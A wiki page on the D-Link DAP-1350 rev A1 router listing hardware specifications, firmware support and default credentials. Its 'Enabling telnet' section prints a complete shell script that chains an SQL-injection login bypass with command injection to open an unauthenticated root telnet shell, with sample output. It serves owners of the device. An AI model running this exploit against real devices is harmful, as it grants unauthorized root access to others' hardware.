Database changes have finished applying - please report any issues you're (still) seeing to support@shoutwiki.com.

D-Link DAP-1350 rev A1

From TechInfoDepot
Jump to navigationJump to search
multiple revisions of this device, use caution
bgn (N300)
Wireless N Pocket Router & Access Point
D-Link DAP-1350 01.jpg
Homepage Product page
Wikipedia D-Link
InfoDepot Wiki D-Link DAP-1350
3rd Party Firmware
dd-wrt Status Unknown
OpenWrt Was Supported
Tomato any flavor Incompatible
Gargoyle Status Unknown
Platform
BrandModelRev D-Link DAP-1350 A1
FCC ID KA2AP1350A1
IC ID 4216A-AP1350
Type wireless router, access point
CPU1 checkY Ralink RT3052
CPU1 Type MIPS 24KEc
CPU1 Speed 384 MHz
Flash1 Chip Macronix MX29LV640EBTI-70G
Flash1 Size 8 MiB8,388,608 B <br />65,536 Kib <br />8,192 KiB <br />64 Mib <br />0.00781 GiB <br />
RAM1 Size 32 MiB33,554,432 B <br />262,144 Kib <br />32,768 KiB <br />256 Mib <br />0.0313 GiB <br />
RAM1 Chip ESMT M12L128168A-7T x 2
ETH chip1 Ralink RT3052
Ethernet Port Count 1-100MbE-LAN
Wired Standard IEEE 802.3i/3u

802dot11 OUI: 00:18:E7 (11 E, 22 W)
Ethernet OUI: 00:18:E7 (11 E, 22 W)

Stock bootloader U-Boot
Stock FW OS Linux
Expansion IF types USB 2.0
USB ports 1
USB Hub Compatible Untested
Power 5 VDC, 2.5 A
Connector type barrel
Serial Port (UART) yes
Other

Default SSID: dlink (38 addl. devices)
Default IP address: 192.168.0.50
the IP 192.168.0.50 is used by 62 additional devices
of which 62 are D-Link devices
Default login user: admin
Default login password: blank
admin:blank credentials used by 378 additional devices
of which 194 are D-Link devices

Manuf/OEM/ODM Cameo
3rd Party Firmware Support OpenWrt (Was)
Retail
Availability End of Life
FCC approval date 15 September 2009
ASIN B003Q9AZHU Flag of the United States.svg
Country of manuf China
Physical
LEDs/Color Blue/Red
Radio 1
Chip1 Ralink RT3052
Wireless interface OUI 00:18:E7
Antenna Connector Type Internal
MIMO status 2x2:2
Wireless Standard IEEE 802.11b/g/n
802.11n up to 300 Mbps
802.11g up to 54 Mbps
802.11b up to 11 Mbps
WiFi Operating Frequency 2.4 GHz
 CPU1 brandRadio1 chip1 brandRadio1 chip2 brand
D-Link DAP-1350 rev A1RalinkRalink
D-Link DAP-1350 rev B1RalinkRalink

For a list of all currently documented Ralink chipsets with specifications, see Ralink.

For a list of all currently documented D-Link devices with specifications, see D-Link.

300 Mbps - 2SS 2.4GHz 802.11n (40MHz chan.) = N300 class

Overview

Interface emulator

Links of Interest

Forum threads

OpenWRT trunk contains support for the DAP-1350, however, the 12.09-beta is broken.
You can build your own firmware now or wait for the Attitude Adjustment release.

Flashing

Flashing OpenWrt

On the OpenWrt ToH (techdata entry)
On the OpenWrt Wiki
On the OpenWrt Forum
OpenWrt Target: ramips
OpenWrt Subtarget: rt305x
OpenWrt Package architecture: mipsel_24kc
Support started version: 12.09
Current supported version: EOL
Last Supported Version: 22.03.7
Comment:
Final version: 22.03.7

Please insert instructions here

JTAG-Serial Info

Serial

Enabling telnet

A vulnerability was discovered in the stock firmware which allows arbitrary commands to be executed as root using HTTP POST requests to a CGI program.

A secondary SQL injection vulnerability also exists allowing one to bypass HTTP authentication.

telnet • >>
#!/bin/ksh

# DAP-1350 telnetd, by brynet.
# This effect all stock firmware images for the device.
# Tested on OpenBSD.

host=$1
if [ $# -ne 1 ]; then
	echo "usage: $0 host or ip"
	exit 1;
fi
base_req="POST /my_cgi.cgi?0.2592357019893825 HTTP/1.1\r\n"\
"Host: ${host}\r\nConnection: keep-alive\r\n"\
"Content-Type: application/x-www-form-urlencoded\r\n"

# user_name=admin
# user_pwd=';select 1;--
login_cmd="request=login&user_name=YWRtaW4&user_pwd=JztzZWxlY3QgMTstLQ"
login_clen="Content-Length: $(echo -n ${login_cmd} | wc -c)\r\n\r\n"
login_req="${base_req}${login_clen}${login_cmd}"

echo $login_req | nc $host 80 | grep default > /dev/null 2>&1
if [ $? -eq 0 ]; then
	echo "Authenticated."
else
	echo "Failed."
	exit 1;
fi
telnetd_cmd="request=admin_webtelnet&cmd=/usr/sbin/telnetd%20-l/bin/sh"
telnetd_clen="Content-Length: $(echo -n ${telnetd_cmd} | wc -c)\r\n\r\n"
telnetd_req="${base_req}${telnetd_clen}${telnetd_cmd}"

echo $telnetd_req | nc $host 80 > /dev/null 2>&1
sleep 2; nc -z $host 23 > /dev/null 2>&1
if [ $? -eq 0 ]; then
	echo "Root shell, okey doke."
	telnet $host
else
	echo "No root.. sorry, heh."
	exit 1;
fi

Note: nc(1) may be installed as netcat(1) on some systems. Modify as necessary.

    $ ./exploit.sh dlinkap # 192.168.0.50
    Authenticated.
    Root shell, okey doke.
    Trying 192.168.0.50...
    Connected to dlinkap.
    Escape character is '^]'.
    ... motd/etc.
    #

The factory set root password is unknown, so no login(1) process is started.
You must run the exploit script each time the device is powered on.

Pictures

Retail Images